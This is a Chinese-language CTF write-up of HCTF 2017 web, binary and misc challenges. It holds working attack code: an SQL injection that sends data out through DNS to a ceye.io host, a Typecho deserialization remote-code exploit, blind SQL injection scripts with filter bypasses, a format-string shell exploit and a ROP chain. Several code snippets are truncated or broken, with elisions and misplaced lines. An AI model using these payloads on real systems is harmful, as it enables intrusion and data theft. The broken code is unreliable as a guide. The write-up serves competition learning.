

WEB

easy_sign_in

-用AWVS检测了一下，发现开放的ssl端口里面有信息泄露

看到一个 flag in:123.206.81.217

访问得到flag

(据队友说直接查看证书即可。。。)

boring website

-御剑扫了一下，发现有源码www.zip

```
try {
    $conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", "");
}

catch( PDOException $e ) {
    die( "Error connecting to SQL Server".$e->getMessage() );
}

#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";

$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|insert|into|outfile|dump
    die('NoNoNo');
}
$query = "select message from not_here_too where id = $id"; //link server: On linkname:mysql
```

google了一下link server，发现可能要是Out of Band Channel Attack。

尝试在openquery里直接带外查询，找到网上的payload的试了一下，没有回显。

最后是登录了ceye，用dns带外接收到回显。

<http://ceye.io/records/dns> 里面直接提供各种payload和攻击方法介绍。

最终payload:

<http://106.15.53.124:38324/?id=1> ; Select * from OpenQuery(mysql,'SELECT LOAD_FILE(CONCAT("\", (select 1),".mysql.ip.port.bt95pr.ceye.io \abc"))');

之后就是查库表字段了，直接都在第一个可以查到。

select password from secret

有一个坑点是dns有缓存，所以ceye有时候也接收不到，等一会儿就好了。

flag: dn5-1og-can-take-f14g-6as84f

poker2

-这个游戏真的玩了一天。

登录进去就是玩，玩了一会儿，发现有个圣诞小屋可以刷级，刷了一会儿发现有大佬90级了，有大佬神宠了。

这不科学，我刷了半天才40级，而且我还是注册了之后有500水晶，买了vip钻石卡的。

尝试一下再注册一个账号看看能不能搞个倒买倒卖什么的。结果并不能，而且水晶数量居然直接是0。嗯？看来每个账号的初始不一样？就写了个脚本，螺旋升天式注册，然后登进去看有没有奇迹发生。然后一进入游戏就给我弹了一个新手引导。萌新跟着引导一步步做任务，送了一堆礼包。打开礼包吃经验，直升90级！剩下的等级想看看有没有任务或者元宝什么的，但是水晶除了换一些神宠之外貌似没什么用。还是老老实实在圣诞小屋脚本刷级吧。。。抓了一下打怪过程的包，大致就是打3下，继续战斗1次，然后循环。

```
import requests

# code from https://phuker.github.io/
s = requests.Session()
cookie = {'PHPSESSID':'g3rcfodnlh4snj19vtg0d7r8o2'} # add your cookie
url1 = 'http://petgame.2017.hctf.io/function/FightGate.php'
url2 = 'http://petgame.2017.hctf.io/function/Fight_Mod.php'

params1 = {'id':'1','g':'843','checkwg':'checked','rd':'0.5561822576488974'}
params2 = {'p':'45776','bid':'248','rd':'0.37353524546878736'}
flag = ''
while 1:
    try:
        r1 = s.get(url2, params=params2, cookies=cookie)

        for i in range(3):
            r2 = s.get(url1, params=params1, cookies=cookie)

            if '84000' in r2.text:
                print 1
    except:
        continue
```

然后刷了6个小时，终于100级了。根据tips，访问flag.php，得到flag。

SQL Silencer

- 首先盲注一波\

这里过滤了 `/**/ + * - ; ' _ & , information_schema order or and limit\`

然后用()和%0d绕过对空格的过滤，用like来绕过对limit的过滤，通过布尔盲注得到一个地址

```
import requests

url = 'http://sqls.2017.hctf.io/index/index.php?id='

payload = '1=(ascii(mid((select(flag)from(hctf.flag)where(flag%0dlike%0d0x256863746625))from({})))={}'

target = ''

for i in range(1,60):
    for j in range(30,127):
        p = payload.format(str(i),str(j))
        r = requests.get(url+p)
```

```
        if 'Alice' in r.content:
            target += chr(j)
            print target
            break
#./H3ll0_111y_Fr13nds_w3lc0me_t0_hctf2017
```

- 然后发现一个typecho网站，前几天看过typecho的install.php命令执行漏洞，去网上搜一波，看到了很多师傅的poc,自己稍微调整一下

```
<?php


class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct($type = self::RSS2)
    {
        $this->_type = $type;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array('screenName'=>"print_r(file_get_contents('/flag_is_here/flag'))");
    private $_filter = array('assert');
    //private $_filter = array('assert', array('Typecho_Response', 'redirect'));
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
```

这里的命令执行漏洞是通过反序列化实现的，还需要finish参数不为空和referer来自本站，通过Firefox的hackbar可以实现



poker-poker

- 用AWVS扫一波发现有SQL盲注

SQL injection is a commonly used attack against web applications that manipulate the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

This vulnerability affects [login/register.php](#).

Discovered by: Scripting (Blind_Sql_Injection.script).

Attack details

URL encoded GET input `username` was set to `if(now()=sysdate(),sleep(0),0)/*XOR(if(now()=sysdate(),sleep(0),0))OR"XOR(if(now()=sysdate(),sleep(0),0))OR"*/`

Tests performed:

- if(now()=sysdate(),sleep(0),0)/*XOR(if(now()=sysdate(),sleep(0),0))OR"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => 9.109 s
- if(now()=sysdate(),sleep(0),0)/*XOR(if(now()=sysdate(),sleep(0),0))OR"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => 6.265 s
- if(now()=sysdate(),sleep(0),0)/*XOR(if(now()=sysdate(),sleep(0),0))OR"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => 3.297 s
- if(now()=sysdate(),sleep(0),0)/*XOR(if(now()=sysdate(),sleep(0),0))OR"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => 0.141 s
- if(now()=sysdate(),sleep(0),0)/*XOR(if(now()=sysdate(),sleep(0),0))OR"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => 0.141 s
- if(now()=sysdate(),sleep(0),0)/*XOR(if(now()=sysdate(),sleep(0),0))OR"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => 0.125 s
- if(now()=sysdate(),sleep(0),0)/*XOR(if(now()=sysdate(),sleep(0),0))OR"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => 6.109 s
- if(now()=sysdate(),sleep(0),0)/*XOR(if(now()=sysdate(),sleep(0),0))OR"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => 0.563 s

- 根据AWVS给出payload调整一下，进行布尔盲注，这里没什么过滤，直接注入即可
注意这里bname每次都要不一样，bool为真时返回的是OK1

```
import requests

url1 = 'http://petgame.2017.hctf.io/login/register.php?bname=as'
url2 = '&sex=1&head=5&pass=blue3rd&bc=1&username='
bname = 14645989

#payload = '\' and if( (ascii(substr((select table_name from information_schema.tables \
#where table_schema=database() limit {},1),{}))={}),sleep(0),1)-- '
#payload = '\' and if( (ascii(substr((select column_name from information_schema.columns \
#where table_name=0x50617373776f7264 limit {},1),{},1))={}),sleep(0),1)-- '
#payload = '\' and if( (ascii(substr((select column_name from information_schema.columns \
#where table_name=0x666c616732 and table_schema=0x68637466 limit {},1),{},1))={}),sleep(0),1)-- '
payload = '\' and if( (ascii(substr((select flag from hctf.flag2 limit {},1),{},1))={}),sleep(0),1)-- '
#flag

target = ''
for k in range(1):
```

```
print k
for i in range(40):
    for j in range(48,127):
        p = payload.format(str(k),str(i),str(j))
        r = requests.get(url1+str(bname)+url2+p)
        bname -= 1
        if 'OK1' in r.content:
            target += chr(j)
            print target
            break
    target = ''
#hctf{y3u_G0t_tHe__poker_game}
```

A true man can play a palo one hundred time

```
# 顺着感觉写出来的，有一定几率能够跑出来的
# 仅仅是对第2个和第4个值做判断
import requests
import json
s = requests.session()

def balance(lr):
    qq = s.get("http://ezgame.2017.hctf.io/game?move="

" + str(lr) + "&id=a0j7fchAvdavidY8aPuJmUu9tmjLo1ptP").text
    print(qq)
    return json.loads(qq)

i = 0
d = balance(0)

nimae = True
shimae = True

while(True):
    if(d["status"] == False):
        print("false")
        break
    pp = d.get("observation", [100,100,100,100])
    if(pp[1]>0 and pp[3]):
        d = balance(0)
    else:
        d = balance(1)
    i = i + 1

    if(d["status"] == False):
        print("false")
        break

    if i > 30 and i < 60:
```

```
if pp[3]>0:
    d = balance(1)
else:
    d = balance(0)
```

BIN

ez_crackme

动态跟发现case36 和case40实现了循环，一步一步跟了一遍最后得到加密算法：

```
t=0
c=[]
for i in range(32):
    t+=0x33
    t=t%32
    c.append(t)
print c
s='abcdefghijklmnopqrstuvwxyz012345'#input
list1=[]
for i in c:
    list1.append(o(s[i]))
list2=[]
p=0
for i in list1:
    temp=i&31
    temp=temp<<3
    if p+1<len(list1):
        next_item=list1[p+1]
    else:
        next_item=list1[0]
    next_item=next_item&224
    next_item=next_item>>5
    temp=temp+next_item
    list2.append(temp)
    p+=1
list3=[]
table=[0xde,0xad,0xbe,0xef]
counter=0
for i in list2:
    t=table[counter%4]
    t+=counter
    t=t&0xff
    i=i^t
    list3.append(hex(i))
    counter+=1
print list3

final=[0xf7,0xc,0x3b,0x81,0x08,0x49,0x86,0x0d,0x4f,0x7d,0x8b,0x20,0x80,0x8b,0x7d,0x45,0xdc,0xc,0x2b,0x7d,0xc2,0xd9,0x4b,0x60,0x27,0x4c]
```

```
print len(final)
#if final==list3 ok!!!
```

list2的逆向有点麻烦，因为当前位的值还和下一位有关

```
list2=[41, 162, 251, 115, 234, 251, 66, 251, 169, 203, 67, 218, 106, 49, 177,
       187, 50, 178, 251, 49, 139, 162, 249, 153, 131, 187, 26, 211, 177, 170,
       251, 66]
oh=0
for i in (list2):
    for j in range(32,127):
        temp=j&31
        temp=temp<<3
        temp=i-temp
        if temp==1 or temp==2 or temp==3:
            op=j&224
            op=op>>5
            print chr(j),' ',op,' ',temp
print '====='
```

把每一位的几种可能性都打印出来：

\=====

; 1 2

[2 2

{ 3 2

\=====

- 1 2

M 2 2

m 3 2

\=====

& 1 1

F 2 1

f 3 1

\=====

6 1 1

V 2 1

v 3 1

\=====

7 1 3

W 2 3

w 3 3

第一个是可能的字符，第二个是当前字符作 $\&224 \gg 5$ 的结果，第三个是对应的下一位需要的作 $\&224 \gg 5$ 的结果，这样从已经知道一定有的‘开始就能像一条链表一样得到list1，最后简单的换位得到flag

Evr_Q

程序分析

主要就是几个"加密"函数,基本都长的差不多,首先是一个异或的

```
int __cdecl sub_411B30(int a1, int a2)
{
    int result; // eax@1
    char v3; // [sp+Ch] [bp-CCh]@1
    int i; // [sp+D0h] [bp-8h]@1

    result = 0xCCCCCCCC;
    memset(&v3, 0xCCu, 0xCCu);
    for ( i = 0; i < 35; ++i )
    {
        *(_BYTE *)(i + a1) = *(_BYTE *)(i + a2) ^ 0x76;
        result = i + 1;
    }
    return result;
}
```

接下来几个和这个都是一个类型的

```
int __cdecl sub_411D40(int dst, int res)
{
    int result; // eax@1
    char v3; // [sp+Ch] [bp-E4h]@1
    int v4; // [sp+D0h] [bp-20h]@3
    int v5; // [sp+DCh] [bp-14h]@3
    int i; // [sp+E8h] [bp-8h]@1

    result = -858993460;
    memset(&v3, 0xCCu, 0xE4u);
    for ( i = 0; i < 7; ++i )
    {
        *(_BYTE *)(i + dst) = *(_BYTE *)(i + res + 7) ^ 0xAD;
        v5 = (*(_BYTE *)(i + dst) & 0xAA) >> 1;
        v4 = 2 * *(_BYTE *)(i + dst) & 0xAA;
        *(_BYTE *)(i + dst) = v4 | v5;
        result = i + 1;
    }
}
```



```
}  
return result;  
}
```

程序把输入异或后分成了五部分,中间三个部分进行了处理,处理后的结果和数据段里面的对比.

poc

由于"加密"函数都是逐字节处理的,懒得逆向,直接逐字节爆破了

```
# -*- coding: utf-8 -*-  
  
def xor_0x76(s):  
    a = []  
    for i in s:  
        a.append(i ^ 0x76)  
    return a  
  
def enc1_c(c):  
    d = c ^ 0xad  
    v5 = (d & 0xaa) >> 1  
    v4 = 2 * d & 0xaa  
    d = v4 | v5  
    return d  
  
def enc2_c(c):  
    d = c ^ 0xbe  
    v5 = (d & 0xcc) >> 2  
    v4 = 4 * d & 0xcc  
    d = v4 | v5  
    return d  
  
def enc3_c(c):  
    d = c ^ 0xef  
    v5 = (d & 0xf0) >> 4  
    v4 = 16 * d & 0xf0  
    d = v4 | v5  
    return d  
  
def brute(func, target):  
    for i in range(0, 256):  
        if func(i) == target:  
            return i  
  
def brute7(func, target):  
    r = []  
    for i in target:  
        r.append(brute(func, i))  
    return r  
  
last_code = '\x1e\x15\x02\x10\x0d\x48\x48\x6f\xdd\xdd\x48'  
last_code += '\x64\x63\xd7\x2e\x2c\xfe\x6a\x6d\x2a\xf2\x6f'
```

```
last_code += '\x9a\x4d\x8b\x4b\xfa\xca\x43\x4e\x45\x4e'
last_code += '\x12\x12\x0b'
last_code = [ord(i) for i in last_code]
part1 = last_code[0:7]
part2 = last_code[7:14]
part3 = last_code[14:21]
part4 = last_code[21:28]
part5 = last_code[28:35]

par2_dec = brute7(enc1_c, part2)
par3_dec = brute7(enc2_c, part3)
par4_dec = brute7(enc3_c, part4)

last = part1 + par2_dec + par3_dec + par4_dec + part5
haha = xor_0x76(last)
hehe = [chr(i) for i in haha]
print ''.join(hehe)
```

guestbook

这明明是个格式串漏洞的题

程序分析

堆分配我找了半天漏洞,结果是个格式串,see的时候触发

```
int see()
{
    unsigned int ind; // [sp+8h] [bp-110h]@1
    char s; // [sp+Ch] [bp-10Ch]@3
    signed int v3; // [sp+10h] [bp-108h]@3
    signed __int16 v4; // [sp+14h] [bp-104h]@3
    char v5; // [sp+16h] [bp-102h]@3
    int v6; // [sp+10Ch] [bp-Ch]@1

    v6 = *MK_FP(__GS__, 20);
    puts("Plz input the guest index:");
    ind = read_int() % 0xAu;
    if ( *((_DWORD *)&g_lst_1 + 10 * ind) )
    {
        memset(&s, 0, 0x100u);
        *(_DWORD *)&s = ' eht';
        v3 = 'eman';
        v4 = ':'; // the name:
        snprintf((char *)&v4 + 1, 0xF7u, (const char *)&g_lst_1 + 0x28 * ind + 4);
        puts(&s);
        memset(&s, 0, 0x100u);
        *(_DWORD *)&s = ' eht';
        v3 = 'nohp';
        v4 = ':e'; // the phone:
        v5 = 0;
        snprintf(&v5, 0xF6u, (const char *)&g_lst_3[10 * ind]);
```

```
    puts(&s);
}
else
{
    puts("Go away,hacker QAQ !");
}
return *MK_FP(__GS__, 20) ^ v6;
}
```

漏洞利用

泄露不用说了,很简单.拿shell我是改栈里面的返回地址,先把上一个函数的返回地址改成system,顺便把binsh弄到栈里面,然后最后一次格式串改当前的返回地址,让它能够通过leave; ret跳转到我的布置的system那里去.

poc

```
from pwn import *
ld = {"LD_PRELOAD":"./libc.so.6"}
filename = "./guestbook"
context.binary = filename
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
libc = ELF("./libc.so.6")
e = ELF(filename)

p.kill()
#p = process(filename, env = ld)

cmd = ''
c
...

#gdb.attach(p, cmd)
p = remote('47.100.64.171', 20002)
token = ''
p.sendline(token)
sleep(0.5)

def add(name, phone='1'*0x10):
    p.sendline('1')
    p.recvuntil('name')
    p.send(name)
    p.recvuntil('phone')
    p.send(phone)

def see(ind):
    p.sendline('2')
    p.recvuntil('index')
    p.sendline(str(ind))

def dele(ind):
    p.sendline('3')
```

```
p.recvuntil('index')
p.sendline(str(ind))

add('%p%3$p%72$p', '1' * 0x10)
see(0)
p.recvuntil('the name:')
data = p.recvuntil('\n')[:-1]
leak_ls = data.split('0x')[1:]

e.address = int(leak_ls[0], 16) - 0xe3a

libc.address = 0
libc.address = int(leak_ls[1], 16) - 71 - libc.sym['_IO_2_1_stdout_']

stack = int(leak_ls[2], 16) - 0x148

system = libc.sym['system']

#stage 1
delete(0)
retn_addr = stack + 332
...
use 72 to chg 80
...
retn_byte = retn_addr & 0xff
for i in range(4):
    byte = system >> 8*i & 0xff
    add('%{ }c%72$hhn'.format(str(i + retn_byte)))
    see(0)
    delete(0)
    add('%{ }c%80$hhn'.format(str(byte)))
    see(0)
    delete(0)

binsh = next(libc.search('/bin/sh'))
for i in range(4):
    byte = binsh >> 8*i & 0xff
    add('%{ }c%72$hhn'.format(str(i + retn_byte + 8)))
    see(0)
    delete(0)
    add('%{ }c%80$hhn'.format(str(byte)))
    see(0)
    delete(0)

see_ret_byte = ( stack + 300 ) & 0xff
chg_to = 0xcf

add('%{ }c%72$hhn'.format(str(see_ret_byte)))
see(0)
```

```
delete(0)
add('%{ }c%80$hhn'.format(str(chg_to)))
see(0)
```

babystack

很烦,没怎么写过爆破,写出来很屎

程序分析

只允许open,read,exit系统调用

漏洞利用

rop 把flag 读到内存里面,逐字节判断,判断的结果用程序的运行或挂掉得知.

```
from pwn import *
ld = {"LD_PRELOAD": "./libc.so.6"}
filename = "./babystack"
context.binary = filename
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
libc = ELF("./libc.so.6")
e = ELF(filename)

def pwn(p, ch, ind, timeout = 0.1):
    # static
    p_rbp_r = 0x400975 #pop rbp ; ret
    leave_r = 0x400a5d
    fk_stack_addr = 0x601208
    retn = 0x400c04
    flag_base = 0x601000
    str_base = 0x601200
    p_rdi_r = 0x0000000000400c03 #pop rdi ; ret

    #leak first
    try:
        p.recvuntil('I will give you a chance\n', timeout=2)
    except:
        p.clean()
        sleep(0.2)
        p.clean()

    p.sendline(str(0x601028))
    puts = int(p.recvuntil('\n'))
    #log.info('leak successful, puts ->' + hex(puts))
    libc.address = 0
    libc.address = puts - libc.sym['puts']

    # dyn address
    cmp = 0x000000000008eb46 + libc.address # cmp byte ptr [rax], dl ; ret 这个貌似可以啊
```

```
p_rdx_r = 0x0000000000001b92 + libc.address # pop rdx ; ret
p_rax_r = 0x00000000000033544 + libc.address # pop rax ; ret
p_rsi_r = 0x000000000000202e8 + libc.address

rop = 'a'*0x28
#read flag_str to bss & we need a fk stack to check connected
rop += p64(p_rdi_r)
rop += p64(0)
rop += p64(p_rsi_r)
rop += p64(str_base)
rop += p64(p_rdx_r)
rop += p64(0x100)
rop += p64(libc.sym['read'])

#open flag file
rop += p64(p_rdi_r)
rop += p64(str_base)
rop += p64(p_rsi_r)
rop += p64(0)
rop += p64(p_rdx_r)
rop += p64(0)
rop += p64(libc.sym['open'])
#read flag to bss
rop += p64(p_rdi_r)
rop += p64(3)
rop += p64(p_rsi_r)
rop += p64(flag_base)
rop += p64(p_rdx_r)
rop += p64(0x100)
rop += p64(libc.sym['read'])
#set rdx for cmp
rop += p64(p_rdx_r)
rop += p64(ord(ch))
rop += p64(p_rax_r)
rop += p64(flag_base + ind)
rop += p64(p_rbp_r)
rop += p64(fk_stack_addr) # use temp fk stack
rop += p64(cmp)
rop += p64(0x400a51)

sleep(timeout)
p.sendline(rop)
#now we send 'flag' maybe 'flag.txt'

#only use to check if not failed
fk_stack = p64(retn) * 3
fk_stack += p64(p_rdi_r)
fk_stack += p64(0)
fk_stack += p64(p_rsi_r)
fk_stack += p64(0x601000)
fk_stack += p64(p_rdx_r)
fk_stack += p64(0x8)
```

```

fk_stack += p64(libc.sym['read'])

sleep(timeout)
p.sendline('flag'.ljust(8, '\0') + fk_stack)

p = remote('47.100.64.113', 20001)
token = ''
p.recvuntil('token')
p.sendline(token)
context.log_level = 'info'
flag = ''
char_set = range(48, 58) + range(97, 123) + [ord('{'), ord('}')]
for ind in range(68, 80):
    for j in char_set: #visible char
        #p.kill()
        #p = process(filename, env = ld)
        log.info('---starting for leaking ' + chr(j) + ' in pos ' + str(ind))
        pwn(p, chr(j), ind, timeout = 0.3)
        sleep(0.5)
        #if p.connected():
        test = chr(j)
        try:
            data = p.recvuntil('fault', timeout = 3)
            if 'fault' in data:
                log.info('[-] ' + str(ind) + ': ' + test )
                continue
            else:
                log.info('[+] ' + str(ind) + ': ' + test)
                flag += test
                log.info('now flag is : ' + flag)
                p.shutdown()
                p = remote('47.100.64.113', 20001)
                token = ''
                p.recvuntil('token')
                p.sendline(token)
                break
        except:
            log.info('some error')
            pass

```

另外,由于我写的爆破太烂,跑着跑着就断了,改ind继续跑就行了

EXTRA

big_zip

-下载下来一看,压缩包很多小文本,一个大文本,一个flag。

小文本都只有5字节,所以应该是CRC32碰撞。

找了一个可以碰撞5位以下的python脚本

```
# -*- coding: utf-8 -*-
"""
Created on Sat Nov 11 19:56:33 2017

@author: Grievan
"""

#!/usr/bin/env python3
import sys
import os
import string
import collections
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('file', nargs='*')
parser.add_argument('--hex', action='append')
parser.add_argument('--dec', action='append')
parser.add_argument('--limit', type=int)
parser.add_argument('--compiler', default='g++')
parser.add_argument('--alphabet', type=os.fsencode, default=string.printable.encode())
args = parser.parse_args()
targets = collections.OrderedDict()
limit = 0
crcs = []
if args.limit:
    limit = max(limit, args.limit)
if args.hex or args.dec:
    if not args.limit:
        parser.error('Limit of length not specified')
if args.hex:
    for s in args.hex:
        crc = int(s, 16)
        targets[s] = crc
        for l in range(args.limit + 1):
            crcs += [( crc, l )]
if args.dec:
    for s in args.dec:
        crc = int(s)
        targets[s] = crc
        for l in range(args.limit + 1):
            crcs += [( crc, l )]
if args.file:
    print('reading zip files...', file=sys.stderr)
    import zipfile
    for zipname in args.file:
        fh = zipfile.ZipFile(zipname)
        for info in fh.infolist():
            targets['%s / %s' % ( zipname, info.filename )] = ( info.CRC, info.file_size )
            crcs += [( info.CRC, info.file_size )]
            limit = max(limit, info.file_size)
            print('file found: %s / %s: crc = 0x%08x, size = %d' % (zipname, info.filename, info.CRC,
```



```
if not crcs:
    parser.error('No CRCs given')
# compiling c++ in python script is the easy way to have the both a good interface and better speed
code = ''
code += r'''
#include <cstdio>
#include <vector>
#include <array>
#include <string>
#include <set>
#include <stdint>
#include <cctype>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
using namespace std;
uint32_t crc_table[256];
void make_crc_table() {
    repeat (i, 256) {
        uint32_t c = i;
        repeat (j, 8) {
            c = (c & 1) ? (0xedb88320 ^ (c >> 1)) : (c >> 1);
        }
        crc_table[i] = c;
    }
}
const uint32_t initial_crc32 = 0xffffffff;
uint32_t next_crc32(uint32_t c, char b) {
    return crc_table[(c ^ b) & 0xff] ^ (c >> 8);
}
const uint32_t mask_crc32 = 0xffffffff;
const char alphabet[] = { '' + ' ', '.join(map(str, args.alphabet)) + r'' };
const int limit = '' + str(limit) + r'';
array<set<uint32_t>, limit+1> crcs;
string stk;
void dfs(uint32_t crc) {
    if (crcs[stk.length()].count(crc ^ mask_crc32)) {
        fprintf(stderr, "crc found: 0x%08x: \\", crc ^ mask_crc32);
        for (char c : stk) fprintf(stderr, isprint(c) && (c != '\\') ? \"%c\" : \"\\x%02x\", c);
        fprintf(stderr, \"\\n\");
        printf(\"%08x \", crc ^ mask_crc32);
        for (char c : stk) printf(\" %02x\", c);
        printf(\"\\n\");
    }
    if (stk.length() < limit) {
        for (char c : alphabet) {
            stk.push_back(c);
            dfs(next_crc32(crc, c));
            stk.pop_back();
        }
    }
}
int main() {
    ...

```

```
for crc, size in crcs:
    code += '    crcs[' + str(size) + '].insert(' + hex(crc) + ');\\n'
code += r'''
make_crc_table();
dfs(initial_crc32);
return 0;
}
...

import tempfile
import subprocess
with tempfile.TemporaryDirectory() as tmpdir:
    cppname = os.path.join(tmpdir, 'a.cpp')
    with open(cppname, 'w') as fh:
        fh.write(code)
    binname = os.path.join(tmpdir, 'a.out')
    print('compiling...', file=sys.stderr)
    p = subprocess.check_call([args.compiler, '-std=c++11', '-O3', '-o', binname, cppname])
    print('searching...', file=sys.stderr)
    p = subprocess.Popen([binname], stdout=subprocess.PIPE)
    output, _ = p.communicate()
print('done', file=sys.stderr)
print(file=sys.stderr)
result = collections.defaultdict(list)
for line in output.decode().strip().split('\\n'):
    crc, *val = map(lambda x: int(x, 16), line.split())
    result[(crc, len(val))] += [ bytes(val) ]
for key, crc in targets.items():
    for s in result[crc]:
        print('%s : %s' % (key, repr(s)[1:]))
```

碰撞出来以后手动组合了一下带有明显含义的文本，放进压缩包里以后发现和原来的那个大文本CRC32是一样的。应该是要进行明文攻击。

把文本用winrar压成zip后测试不成功，换成用7z压缩，明文攻击成功，得到flag。